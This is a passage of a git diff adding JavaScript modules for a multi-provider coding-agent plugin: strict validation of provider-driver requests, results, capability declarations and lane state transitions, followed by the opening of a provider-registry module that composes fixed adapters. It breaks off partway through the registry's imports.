'child_envelope_digest', +]); +export const DRIVER_RECONCILE_REQUEST_KEYS = capturedFreeze([ + ...DRIVER_SHARED_REQUEST_KEYS, 'include', 'intent', +]); +export const DRIVER_REQUEST_KEYS = DRIVER_RECONCILE_REQUEST_KEYS; + +export const DRIVER_RESULT_REQUIRED_KEYS = capturedFreeze([ + 'schema', 'version', 'run_id', 'assignment_id', 'lane_index', 'base_sha', + 'child_envelope_digest', 'disposition', +]); +export const DRIVER_RESULT_KEYS = capturedFreeze([ + ...DRIVER_RESULT_REQUIRED_KEYS, 'detail_code', 'detail_message', +]); + +export const PREFLIGHT_DISPOSITIONS = capturedFreeze(['ready', 'blocked']); +export const LAUNCH_DISPOSITIONS = capturedFreeze([ + 'not_sent', 'dispatch_uncertain', 'dispatched', +]); +export const RECONCILE_DISPOSITIONS = capturedFreeze([ + 'in_progress', 'terminal', 'unresolved_attention', 'dispatch_uncertain', +]); +export const CANCEL_DISPOSITIONS = capturedFreeze([ + 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +export const DRIVER_DISPOSITIONS = capturedFreeze({ + preflight: PREFLIGHT_DISPOSITIONS, + launch: LAUNCH_DISPOSITIONS, + reconcile: RECONCILE_DISPOSITIONS, + cancel: CANCEL_DISPOSITIONS, +}); + +export const DRIVER_FEATURE_KEYS = capturedFreeze([ + 'cancellation', 'detailed_events', 'live_progress', 'restart', +]); +export const DRIVER_FEATURE_VALUES = capturedFreeze({ + cancellation: capturedFreeze(['supported', 'unsupported']), + detailed_events: capturedFreeze(['supported', 'unsupported']), + live_progress: capturedFreeze(['supported', 'unsupported']), + restart: capturedFreeze(['reconcile_reattach_only', 'unsupported']), +}); +export const RECONCILE_INTENTS = capturedFreeze(['observe', 'restart_reattach']); +export const RECONCILE_INCLUDE_VALUES = capturedFreeze([ + 'detailed_events', 'live_progress', +]); +export const DRIVER_DECLARATION_KEYS = capturedFreeze([ + 'schema', 'capability', 'features', +]); +export const CAPABILITY_REQUIREMENT_KEYS = capturedFreeze([ + 'artifact_kinds', 'create_pr_posture', 'dispatch_certainty', + 'exact_model_selection', 'merge_authority', 'replay_posture', + 'same_session_reply', 'workspace_semantics', 'workspace_starting_point', +]); + +export const DETAIL_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +export const DETAIL_MESSAGE_MAX_BYTES = 512; +export const CHILD_ENVELOPE_DIGEST_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); + +const ARRAY_PUSH = Array.prototype.push; +const BUFFER_FROM = NodeBuffer.from.bind(NodeBuffer); +const IS_PROXY = utilTypes.isProxy; +const MAP_CTOR = Map; +const OBJECT_FREEZE = Object.freeze; +const SET_CTOR = Set; +const SET_ADD = SET_CTOR.prototype.add; +const SET_HAS = SET_CTOR.prototype.has; +const STRING = String; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; + +const REQUEST_KEYS_BY_OPERATION = capturedFreeze({ + preflight: DRIVER_SHARED_REQUEST_KEYS, + launch: DRIVER_SHARED_REQUEST_KEYS, + reconcile: DRIVER_RECONCILE_REQUEST_KEYS, + cancel: DRIVER_SHARED_REQUEST_KEYS, +}); + +const POSSIBLE_SEND_STATES = capturedFreeze([ + 'dispatch_uncertain', 'dispatched', 'in_progress', 'unresolved_attention', + 'terminal', 'cancel_requested', 'cancel_confirmed', 'already_terminal', +]); +const PRE_LAUNCH_STATES = capturedFreeze(['absent', 'ready', 'blocked', 'not_sent']); + +function truncateForMessage(value) { + const text = STRING(value); + return text.length > 48 ? `${text.slice(0, 45)}...` : text; +} + +function requestKeysFor(operation) { + return REQUEST_KEYS_BY_OPERATION[operation]; +} + +function detachFrozenJson(value) { + if (value === null || typeof value !== 'object') return value; + if (capturedIsArray(value)) { + const clone = []; + for (let index = 0; index < value.length; index += 1) { + ARRAY_PUSH.call(clone, detachFrozenJson(value[index])); + } + return OBJECT_FREEZE(clone); + } + const clone = {}; + const keys = sortedCapturedKeys(value); + for (let index = 0; index < keys.length; index += 1) { + const key = keys[index]; + capturedDefineProperty(clone, key, { + value: detachFrozenJson(optOwn(value, key)), + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(clone); +} + +function assertLowerHexDigest64(value, path) { + if (typeof value !== 'string' || !capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } +} + +function digestsEqual(left, right) { + return typeof left === 'string' && typeof right === 'string' + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, left) + && capturedTest(CHILD_ENVELOPE_DIGEST_PATTERN, right) + && TIMING_SAFE_EQUAL(BUFFER_FROM(left, 'hex'), BUFFER_FROM(right, 'hex')); +} + +function proveChildEnvelope(request, path) { + const envelopeText = optOwn(request, 'envelope_text'); + if (typeof envelopeText !== 'string') { + fail('invalid_type', `${path}.envelope_text`, + `${path}.envelope_text must be the exact compiled ChildEnvelopeV1 text.`); + } + const parsed = parseChildEnvelopeV1(envelopeText); + const textBytes = capturedUtf8ByteLength(envelopeText); + if (textBytes !== parsed.envelope_byte_length) { + fail('envelope_byte_length_mismatch', `${path}.envelope_text`, + `${path}.envelope_text encodes ${textBytes} UTF-8 bytes while its strict parse declares ` + + `${parsed.envelope_byte_length}.`); + } + assertLowerHexDigest64(optOwn(request, 'child_envelope_digest'), `${path}.child_envelope_digest`); + const actual = childEnvelopeDigestV1(parsed).digest; + if (!digestsEqual(actual, optOwn(request, 'child_envelope_digest'))) { + fail('child_envelope_digest_mismatch', `${path}.child_envelope_digest`, + `${path}.child_envelope_digest does not equal the sha256 digest of the supplied envelope bytes.`); + } + return capturedFreeze({ envelope: parsed, child_envelope_digest: actual }); +} + +function normalizeReconcileInclude(request, path) { + if (!hasOwn(request, 'include')) return capturedFreeze([]); + const include = optOwn(request, 'include'); + assertDenseJsonArray(include, `${path}.include`); + if (include.length === 0 || include.length > RECONCILE_INCLUDE_VALUES.length) { + fail('invalid_format', `${path}.include`, + `${path}.include must list 1-${RECONCILE_INCLUDE_VALUES.length} closed feature names.`); + } + const seen = new SET_CTOR(); + const normalized = []; + for (let index = 0; index < include.length; index += 1) { + const entryPath = `${path}.include[${index}]`; + const value = ownDataValue(include, STRING(index), entryPath); + if (!capturedIncludes(RECONCILE_INCLUDE_VALUES, value)) { + fail('invalid_format', entryPath, + `${entryPath} must be exactly one of ${capturedJoin(RECONCILE_INCLUDE_VALUES, ', ')}.`); + } + if (SET_HAS.call(seen, value)) { + fail('invalid_format', entryPath, `${entryPath} repeats include "${value}".`); + } + SET_ADD.call(seen, value); + ARRAY_PUSH.call(normalized, value); + } + normalized.sort(); + return capturedFreeze(normalized); +} + +function normalizeReconcileIntent(request, path) { + if (!hasOwn(request, 'intent')) return 'observe'; + const intent = optOwn(request, 'intent'); + if (!capturedIncludes(RECONCILE_INTENTS, intent)) { + fail('invalid_format', `${path}.intent`, + `${path}.intent must be exactly one of ${capturedJoin(RECONCILE_INTENTS, ', ')}.`); + } + return intent; +} + +function validateDriverRequest(request, operation) { + const path = `driver.${operation}.request`; + if (request === undefined || request === null) { + fail('invalid_type', path, `${path} must be a plain driver request object.`); + } + assertDirectJsonClosure(request, path); + assertPlainObject(request, 'invalid_type', path, `${path}`); + const allowed = requestKeysFor(operation); + assertAllowedKeys(request, allowed, path); + for (const key of DRIVER_SHARED_REQUEST_KEYS) { + if (hasOwn(request, key)) continue; + if (key === 'envelope_text' && operation === 'launch' + && hasOwn(request, 'child_envelope_digest')) { + fail('digest_only_launch_denied', `${path}.envelope_text`, + 'A digest-only launch is forbidden: the exact compiled ChildEnvelopeV1 text must accompany its digest.'); + } + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + if (optOwn(request, 'schema') !== DRIVER_OPERATION_SCHEMA_IDS[operation]) { + fail('schema_mismatch', `${path}.schema`, + `${path}.schema must be exactly "${DRIVER_OPERATION_SCHEMA_IDS[operation]}".`); + } + if (optOwn(request, 'version') !== PROVIDER_DRIVER_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${PROVIDER_DRIVER_VERSION}.`); + } + const proof = proveChildEnvelope(request, path); + const intent = operation === 'reconcile' ? normalizeReconcileIntent(request, path) : undefined; + const include = operation === 'reconcile' ? normalizeReconcileInclude(request, path) : undefined; + const detached = detachFrozenJson(request); + const operationDigest = identityBoundDigest(IDENTITY_LABELS.PROVIDER_OPERATION, { + child_envelope_digest: proof.child_envelope_digest, + operation, + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + }); + if (!capturedTest(SHA256_DIGEST_PATTERN, operationDigest)) { + fail('invalid_format', `${path}.operation_digest`, + 'Provider-operation digest must be a lowercase sha256:<64 hex> binding.'); + } + return capturedFreeze({ + operation, + request: detached, + envelope: proof.envelope, + child_envelope_digest: proof.child_envelope_digest, + operation_digest: operationDigest, + intent, + include, + }); +} + +function assertDisposition(value, operation, path) { + const allowed = DRIVER_DISPOSITIONS[operation]; + if (!capturedIncludes(allowed, value)) { + fail('invalid_format', path, + `${path} must be exactly one of ${capturedJoin(allowed, ', ')}.`); + } +} + +function validateDetailPair(result, operation, path) { + const hasCode = hasOwn(result, 'detail_code'); + const hasMessage = hasOwn(result, 'detail_message'); + if (hasCode !== hasMessage) { + fail('detail_pair_incomplete', `${path}.detail_code`, + `${path}.detail_code and ${path}.detail_message must be provided together.`); + } + const disposition = optOwn(result, 'disposition'); + const required = (operation === 'preflight' && disposition === 'blocked') + || (operation === 'launch' && disposition === 'not_sent'); + const forbidden = (operation === 'preflight' && disposition === 'ready') + || (operation === 'launch' && disposition !== 'not_sent'); + if (required && !hasCode) { + fail('missing_key', `${path}.detail_code`, + `A ${operation} result with disposition "${disposition}" requires a bounded detail_code/detail_message pair.`); + } + if (forbidden && hasCode) { + fail('detail_pair_denied', `${path}.detail_code`, + `A ${operation} result with disposition "${disposition}" must not carry a detail pair.`); + } + if (!hasCode) return; + const code = optOwn(result, 'detail_code'); + if (typeof code !== 'string' || !capturedTest(DETAIL_CODE_PATTERN, code)) { + fail('invalid_format', `${path}.detail_code`, + `${path}.detail_code violates the bounded grammar ${DETAIL_CODE_PATTERN.source}.`); + } + assertBoundedText(optOwn(result, 'detail_message'), { + min: 1, max: DETAIL_MESSAGE_MAX_BYTES, path: `${path}.detail_message`, label: 'detail_message', + }); +} + +function assertResultIdentity(result, view, path) { + const expected = capturedFreeze({ + run_id: view.envelope.run_id, + assignment_id: view.envelope.assignment_id, + lane_index: view.envelope.lane_index, + base_sha: view.envelope.repository.base_sha, + child_envelope_digest: view.child_envelope_digest, + }); + for (const key of sortedCapturedKeys(expected)) { + const actual = optOwn(result, key); + const value = expected[key]; + const equal = key === 'child_envelope_digest' ? digestsEqual(actual, value) : actual === value; + if (!equal) { + fail('receipt_identity_mismatch', `${path}.${key}`, + `${path}.${key} must echo the exact request identity (${truncateForMessage(value)}), received ${truncateForMessage(actual)}.`); + } + } +} + +function assertCapabilityHonesty(result, operation, declaration, path) { + const capability = declaration.capability; + const disposition = optOwn(result, 'disposition'); + if (operation === 'launch' && disposition === 'dispatched' + && capability.dispatch_certainty === 'uncertain_after_spawn') { + fail('capability_dispatch_certainty_mismatch', `${path}.disposition`, + `${path}.disposition "dispatched" is forbidden when the P05 capability declares ` + + `"uncertain_after_spawn"; report dispatch_uncertain instead.`); + } + if (operation === 'reconcile' && disposition === 'unresolved_attention' + && capability.same_session_reply === 'live_session_reply') { + return; + } + if (operation === 'launch' && disposition !== 'not_sent' + && capability.replay_posture !== 'never_replay') { + fail('invalid_replay_posture', `${path}.disposition`, + 'A launched observation is only valid when the P05 capability declares never_replay.'); + } +} + +function validateDriverResultWithView(result, view, operation, declaration) { + const path = `driver.${operation}.result`; + if (result === undefined || result === null) { + fail('invalid_type', path, `${path} must be a plain driver result object.`); + } + assertDirectJsonClosure(result, path); + assertPlainObject(result, 'invalid_type', path, `${path}`); + assertAllowedKeys(result, DRIVER_RESULT_KEYS, path); + for (const key of DRIVER_RESULT_REQUIRED_KEYS) { + if (!hasOwn(result, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + if (optOwn(result, 'schema') !== DRIVER_RESULT_SCHEMA_IDS[operation]) { + fail('schema_mismatch', `${path}.schema`, + `${path}.schema must be exactly "${DRIVER_RESULT_SCHEMA_IDS[operation]}".`); + } + if (optOwn(result, 'version') !== PROVIDER_DRIVER_VERSION) { + fail('invalid_format', `${path}.version`, + `${path}.version must be exactly ${PROVIDER_DRIVER_VERSION}.`); + } + assertDisposition(optOwn(result, 'disposition'), operation, `${path}.disposition`); + validateDetailPair(result, operation, path); + assertResultIdentity(result, view, path); + if (declaration !== undefined) { + assertCapabilityHonesty(result, operation, declaration, path); + } + return detachFrozenJson(result); +} + +function validateFeatures(features, path) { + assertPlainObject(features, 'invalid_type', path, `${path}`); + assertAllowedKeys(features, DRIVER_FEATURE_KEYS, path); + const normalized = capturedCreate(null); + for (const key of DRIVER_FEATURE_KEYS) { + if (!hasOwn(features, key)) { + fail('missing_key', `${path}.${key}`, + `${path}.${key} is required; driver features have no hidden defaults.`); + } + const value = optOwn(features, key); + if (!capturedIncludes(DRIVER_FEATURE_VALUES[key], value)) { + fail('invalid_format', `${path}.${key}`, + `${path}.${key} must be exactly one of ${capturedJoin(DRIVER_FEATURE_VALUES[key], ', ')}.`); + } + normalized[key] = value; + } + return freezeData({ + cancellation: normalized.cancellation, + detailed_events: normalized.detailed_events, + live_progress: normalized.live_progress, + restart: normalized.restart, + }); +} + +export function validateDriverDeclarationV1(declaration) { + const path = 'driver_declaration'; + if (declaration === undefined || declaration === null) { + fail('missing_key', path, + `${path} is required; a driver never inherits hidden capability or feature defaults.`); + } + assertDirectJsonClosure(declaration, `$.${path}`); + assertPlainObject(declaration, 'invalid_type', path, path); + assertAllowedKeys(declaration, DRIVER_DECLARATION_KEYS, path); + for (const key of DRIVER_DECLARATION_KEYS) { + if (!hasOwn(declaration, key)) { + fail('missing_key', `${path}.${key}`, `${path}.${key} is required.`); + } + } + if (optOwn(declaration, 'schema') !== DRIVER_DECLARATION_SCHEMA_ID) { + fail('schema_mismatch', `${path}.schema`, + `${path}.schema must be exactly "${DRIVER_DECLARATION_SCHEMA_ID}".`); + } + const projected = projectCapabilityRecordFromP17(optOwn(declaration, 'capability')); + const features = validateFeatures(optOwn(declaration, 'features'), `${path}.features`); + return freezeData({ + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: freezeData({ + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: projected.artifact_kinds, + create_pr_posture: projected.create_pr_posture, + dispatch_certainty: projected.dispatch_certainty, + exact_model_selection: projected.exact_model_selection, + merge_authority: projected.merge_authority, + notes: projected.notes, + provider: projected.provider, + replay_posture: projected.replay_posture, + revision: projected.revision, + same_session_reply: projected.same_session_reply, + source_digest: projected.source_digest, + workspace_semantics: projected.workspace_semantics, + workspace_starting_point: projected.workspace_starting_point, + }), + features, + }); +} + +function requirementMismatchCode(key) { + if (key === 'same_session_reply') return 'capability_reply_mismatch'; + if (key === 'dispatch_certainty') return 'capability_dispatch_certainty_mismatch'; + if (key === 'workspace_semantics' || key === 'workspace_starting_point') { + return 'capability_workspace_mismatch'; + } + if (key === 'create_pr_posture' || key === 'merge_authority') { + return 'capability_merge_authority_mismatch'; + } + if (key === 'replay_posture') return 'invalid_replay_posture'; + if (key === 'exact_model_selection') return 'invalid_exact_model_selection'; + if (key === 'artifact_kinds') return 'invalid_artifact_kinds'; + return 'unsupported_capability'; +} + +export function assertCapabilityRequirementV1(declaration, requirement) { + const validated = validateDriverDeclarationV1(declaration); + const path = 'capability_requirement'; + if (requirement === undefined || requirement === null) { + fail('invalid_type', path, `${path} must be a plain object of P05 assertable fields.`); + } + assertDirectJsonClosure(requirement, `$.${path}`); + assertPlainObject(requirement, 'invalid_type', path, path); + assertAllowedKeys(requirement, CAPABILITY_REQUIREMENT_KEYS, path); + const keys = sortedCapturedKeys(requirement); + if (keys.length === 0) { + fail('missing_key', path, `${path} must assert at least one closed P05 capability field.`); + } + const capability = validated.capability; + for (const key of keys) { + if (!capturedIncludes(CAPABILITY_REQUIREMENT_KEYS, key)) { + fail('unknown_capability_key', `${path}.${key}`, + `${path}.${key} is not part of the closed P05 capability requirement vocabulary.`); + } + const expected = optOwn(requirement, key); + const actual = capability[key]; + if (key === 'artifact_kinds') { + assertDenseJsonArray(expected, `${path}.${key}`); + for (let index = 0; index < expected.length; index += 1) { + const kind = ownDataValue(expected, STRING(index), `${path}.${key}[${index}]`); + if (!capturedIncludes(actual, kind)) { + fail('unsupported_capability', `${path}.${key}`, + `Capability does not declare artifact kind "${kind}"; unsupported evidence fails closed.`); + } + } + continue; + } + if (expected !== actual) { + fail(requirementMismatchCode(key), `${path}.${key}`, + `${path}.${key} requires "${truncateForMessage(expected)}" but the P05 capability declares ` + + `"${truncateForMessage(actual)}"; unsupported postures fail closed with no fallback.`); + } + } + return validated.capability; +} + +export function assertDriverFeatureV1(declaration, feature) { + const validated = validateDriverDeclarationV1(declaration); + const path = `driver_declaration.features.${feature}`; + if (!capturedIncludes(DRIVER_FEATURE_KEYS, feature)) { + fail('unknown_key', path, `${path} is not a closed driver feature.`); + } + const value = validated.features[feature]; + if (value === 'unsupported') { + fail('unsupported_capability', path, + `Feature "${feature}" is declared unsupported; the driver fails closed with no fallback or replay.`); + } + return value; +} + +function denyUnsupportedFeature(declaration, feature, path) { + if (declaration.features[feature] === 'unsupported') { + fail('unsupported_capability', path, + `Feature "${feature}" is declared unsupported; the driver fails closed with no fallback or replay.`); + } +} + +function assertEnvelopeProvider(view, declaration) { + const envelopeProvider = view.envelope.execution.provider; + if (envelopeProvider !== null && envelopeProvider !== declaration.capability.provider) { + fail('provider_slot_mismatch', 'driver_declaration.capability.provider', + `driver_declaration.capability.provider must be exactly "${envelopeProvider}" for this child envelope.`); + } +} + +function assertRequestedFeatures(view, declaration) { + assertEnvelopeProvider(view, declaration); + if (view.operation === 'cancel') { + denyUnsupportedFeature(declaration, 'cancellation', 'driver_declaration.features.cancellation'); + } + if (view.operation !== 'reconcile') return; + if (view.intent === 'restart_reattach') { + denyUnsupportedFeature(declaration, 'restart', 'driver.reconcile.request.intent'); + } + for (let index = 0; index < view.include.length; index += 1) { + const feature = view.include[index]; + denyUnsupportedFeature(declaration, feature, `driver.reconcile.request.include[${index}]`); + } +} + +function laneKey(envelope) { + return `${envelope.run_id}\u0000${envelope.assignment_id}`; +} + +function assertTransition(operation, state, view) { + const path = `driver.${operation}.request`; + if (operation === 'preflight') { + if (state === 'absent' || state === 'ready' || state === 'blocked' || state === 'not_sent') { + return; + } + fail('invalid_transition', path, + 'Preflight cannot run after a prompt may have been dispatched; reconcile or cancel instead.'); + } + if (operation === 'launch') { + if (state === 'absent') { + fail('not_preflighted', path, + 'Launch requires a prior preflight:ready result for this exact child identity.'); + } + if (state === 'blocked') { + fail('blocked_lane_denied', path, + 'A blocked preflight cannot launch; the lane fails closed with no fallback.'); + } + if (state === 'ready' || state === 'not_sent') return; + fail('replay_denied', path, + 'A previous launch may have sent the prompt; the lane is never replayed onto this or another transport.'); + } + if (operation === 'reconcile') { + if (capturedIncludes(PRE_LAUNCH_STATES, state) && state !== 'not_sent') { + fail('not_dispatched', path, + 'Reconcile addresses an existing dispatch; this child has no launch observation.'); + } + if (state === 'not_sent') { + fail('not_dispatched', path, + 'A not_sent launch never reached the provider; reconcile cannot invent a dispatch.'); + } + if (view.intent === 'restart_reattach' && !capturedIncludes(POSSIBLE_SEND_STATES, state)) { + fail('not_dispatched', `${path}.intent`, + 'restart_reattach is reconcile-only recovery of existing provider work and never a relaunch.'); + } + return; + } + if (capturedIncludes(PRE_LAUNCH_STATES, state)) { + fail('not_dispatched', path, + 'Cancel addresses an existing dispatch; this child has no launch observation.'); + } +} + +function nextState(operation, disposition) { + if (operation === 'preflight') return disposition; + if (operation === 'launch') return disposition; + if (operation === 'reconcile') return disposition; + return disposition; +} + +export function validateDriverPreflightRequestV1(request) { + return validateDriverRequest(request, 'preflight'); +} + +export function validateDriverLaunchRequestV1(request) { + return validateDriverRequest(request, 'launch'); +} + +export function validateDriverReconcileRequestV1(request) { + return validateDriverRequest(request, 'reconcile'); +} + +export function validateDriverCancelRequestV1(request) { + return validateDriverRequest(request, 'cancel'); +} + +export function validateDriverPreflightResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'preflight'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'preflight', validated); +} + +export function validateDriverLaunchResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'launch'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'launch', validated); +} + +export function validateDriverReconcileResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'reconcile'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'reconcile', validated); +} + +export function validateDriverCancelResultV1(result, request, declaration) { + const view = validateDriverRequest(request, 'cancel'); + const validated = declaration === undefined ? undefined : validateDriverDeclarationV1(declaration); + return validateDriverResultWithView(result, view, 'cancel', validated); +} + +export function assertProviderDriverV1(driver) { + const path = 'provider_driver'; + if (driver !== null && (typeof driver === 'object' || typeof driver === 'function') + && IS_PROXY(driver)) { + fail('proxy_denied', path, + `${path} is a live or revoked Proxy; driver surfaces accept concrete operation functions only.`); + } + if (!isPlainObject(driver)) { + if (typeof driver === 'object' && driver !== null && !capturedIsArray(driver)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of exactly four operation functions.`); + } + const entries = assertJsonDataObject(driver, path); + const expected = new SET_CTOR(DRIVER_OPERATIONS); + if (entries.length !== DRIVER_OPERATIONS.length + || entries.some(({ key }) => !SET_HAS.call(expected, key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly the own operations ${capturedJoin(DRIVER_OPERATIONS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete function implementing the "${key}" operation.`); + } + } + return capturedFreeze({ + schema: PROVIDER_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + }); +} + +export function bindProviderDriverV1(driver, declaration) { + assertProviderDriverV1(driver); + const validatedDeclaration = validateDriverDeclarationV1(declaration); + const lanes = new MAP_CTOR(); + const bound = {}; + for (const operation of DRIVER_OPERATIONS) { + const handler = capturedDescriptor(driver, operation)?.value; + if (typeof handler !== 'function' || IS_PROXY(handler)) { + fail('invalid_operation', `provider_driver.${operation}`, + `provider_driver.${operation} must be a concrete function.`); + } + capturedDefineProperty(bound, operation, { + value: function boundDriverOperation(request) { + const view = validateDriverRequest(request, operation); + assertRequestedFeatures(view, validatedDeclaration); + const key = laneKey(view.envelope); + const prior = lanes.get(key); + if (prior !== undefined && !digestsEqual(prior.child_envelope_digest, view.child_envelope_digest)) { + fail('stale_identity_denied', `driver.${operation}.request.child_envelope_digest`, + 'The request envelope digest does not match the exact child previously observed on this lane.'); + } + const state = prior === undefined ? 'absent' : prior.state; + assertTransition(operation, state, view); + const result = handler.call(driver, view.request); + const frozen = validateDriverResultWithView(result, view, operation, validatedDeclaration); + lanes.set(key, capturedFreeze({ + child_envelope_digest: view.child_envelope_digest, + state: nextState(operation, frozen.disposition), + })); + return frozen; + }, + enumerable: true, + configurable: false, + writable: false, + }); + } + return OBJECT_FREEZE(bound); +} + +export function buildDriverOperationRequestV1(operation, envelope, extras = {}) { + if (!hasOwn(DRIVER_OPERATION_SCHEMA_IDS, operation)) { + fail('unknown_operation', 'operation', + `operation must be one of ${capturedJoin(DRIVER_OPERATIONS, ', ')}.`); + } + if (extras === undefined || extras === null) { + fail('invalid_type', 'request_extras', 'request extras must be a plain object when present.'); + } + assertDirectJsonClosure(extras, 'request_extras'); + assertPlainObject(extras, 'invalid_type', 'request_extras', 'request extras'); + const extraKeys = operation === 'reconcile' + ? capturedFreeze(['include', 'intent']) + : capturedFreeze([]); + assertAllowedKeys(extras, extraKeys, 'request_extras'); + const request = { + schema: DRIVER_OPERATION_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + envelope_text: envelope.envelope_text, + child_envelope_digest: childEnvelopeDigestV1(envelope).digest, + }; + if (hasOwn(extras, 'intent')) request.intent = optOwn(extras, 'intent'); + if (hasOwn(extras, 'include')) request.include = optOwn(extras, 'include'); + return detachFrozenJson(validateDriverRequest(request, operation).request); +} + +export function describeProviderDriverContractV1() { + return capturedFreeze({ + schema: PROVIDER_DRIVER_SCHEMA_ID, + version: PROVIDER_DRIVER_VERSION, + operations: capturedFreeze([...DRIVER_OPERATIONS]), + request_schema_ids: DRIVER_OPERATION_SCHEMA_IDS, + result_schema_ids: DRIVER_RESULT_SCHEMA_IDS, + request_keys: DRIVER_REQUEST_KEYS, + result_keys: DRIVER_RESULT_KEYS, + dispositions: capturedFreeze({ + preflight: [...PREFLIGHT_DISPOSITIONS], + launch: [...LAUNCH_DISPOSITIONS], + reconcile: [...RECONCILE_DISPOSITIONS], + cancel: [...CANCEL_DISPOSITIONS], + }), + capability_schema_id: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + capability_snapshot_schema_id: PROVIDER_CAPABILITY_SNAPSHOT_SCHEMA_ID, + capability_record_keys: CAPABILITY_RECORD_ALLOWED_KEYS, + features: DRIVER_FEATURE_VALUES, + reconcile_intents: RECONCILE_INTENTS, + relaunch_operations: capturedFreeze([]), + transports: capturedFreeze([]), + detail_code_pattern: DETAIL_CODE_PATTERN.source, + detail_message_max_bytes: DETAIL_MESSAGE_MAX_BYTES, + }); +} + +capturedFreeze(validateDriverDeclarationV1); +capturedFreeze(assertCapabilityRequirementV1); +capturedFreeze(assertDriverFeatureV1); +capturedFreeze(validateDriverPreflightRequestV1); +capturedFreeze(validateDriverLaunchRequestV1); +capturedFreeze(validateDriverReconcileRequestV1); +capturedFreeze(validateDriverCancelRequestV1); +capturedFreeze(validateDriverPreflightResultV1); +capturedFreeze(validateDriverLaunchResultV1); +capturedFreeze(validateDriverReconcileResultV1); +capturedFreeze(validateDriverCancelResultV1); +capturedFreeze(assertProviderDriverV1); +capturedFreeze(bindProviderDriverV1); +capturedFreeze(buildDriverOperationRequestV1); +capturedFreeze(describeProviderDriverContractV1); diff --git a/plugins/codex-co-engineer/mcp/v3/provider-registry.mjs b/plugins/codex-co-engineer/mcp/v3/provider-registry.mjs new file mode 100644 index 0000000..bcd8e06 --- /dev/null +++ b/plugins/codex-co-engineer/mcp/v3/provider-registry.mjs @@ -0,0 +1,435 @@ +// ProviderDriverV1 provider registry — closed deterministic composition +// authority (P23). +// +// Additive v3 module. It owns ONLY the composition seam behind provider +// selection: +// - exactly the four accepted ProviderDriverV1 adapters (P18 Grok ACP +// `grok`, P19 Cursor Local `cursor-local`, P21 Cursor Cloud +// `cursor-cloud`, P20 DSH ACPX `dsh`) registered in the frozen P02 +// grammar slot order and nowhere else; +// - deterministic selection: an exact closed-slot lookup composes every +// lane through that slot's one accepted adapter factory. There is no +// preference walk, no provider substitution, no fallback, no retry, +// no replay, and no fifth operation; +// - the P22 future-harness template/conformance kit is inventoried as +// mock/conformance evidence only: never a provider slot, never a live +// transport, never composable through this surface; +// - inventory data is projected from the accepted modules' own exported +// describe surfaces into detached frozen clones, so the registry quotes +// accepted claims instead of maintaining a parallel capability schema; +// - hostile providers, selections, and options (Proxies, accessors, +// symbols, non-enumerables, exotic prototypes, unknown keys) fail +// closed with typed content-free RunContractV1Errors before any adapter +// factory runs caller code; +// - composed values are returned exactly as the accepted factory returns +// them: no wrapper layer, so adapter lane stores, evidence maps, and +// identity binding keep their accepted semantics. +// +// The registry performs no ambient discovery: it never reads the +// filesystem, environment, PATH, network, clock, random source, or process +// list, and it never dynamically imports a module. Its slot set is closed +// at module load from the P02 grammar vocabulary and can never grow at +// runtime. Supervisor/server cutover, schedulers, durable stores, live +// transport qualification, merge/PR authority, direct mode, and version +// changes stay out of scope; legacy 3.2.1 behavior is untouched. + +import { + capturedCreate, + capturedDescriptor, + capturedFreeze, + capturedIncludes, + capturedIsArray, + capturedOwnKeys, + knownProvidersJoined, + knownProvidersList, + modelIdGrammarSource, +} from './grammar.mjs'; +import { + CURSOR_CLOUD_DRIVER_SCHEMA_ID, + CURSOR_CLOUD_PROVIDER_SLOT, + bindCursorCloudDriverV1, + describeCursorCloudDriverV1, +} from './cursor-cloud-driver.mjs'; +import { + MODEL_ID_PATTERN as CURSOR_LOCAL_MODEL_ID_PATTERN, + CURSOR_LOCAL_DRIVER_SCHEMA_ID, + CURSOR_LOCAL_PROVIDER, + createCursorLocalDriverV1, + describeCursorLocalDriverV1, +} from './cursor-local-driver.mjs'; +import { + DSH_ALLOWED_MODELS, + DSH_ACPX_DRIVER_SCHEMA_ID, + DSH_PROVIDER, + createDshApxDriverV1, + describeDshApxDriverV1, +} from './dsh-acpx-driver.mjs'; +import { + GROK_ACP_DRIVER_SCHEMA_ID, + GROK_PROVIDER_SLOT, + bindGrokAcpDriverV1, + describeGrokAcpAdapterSurfaceV1, +} from './grok-acp-driver.mjs'; +import { + FUTURE_HARNESS_CONFORMANCE_SCHEMA_ID, + 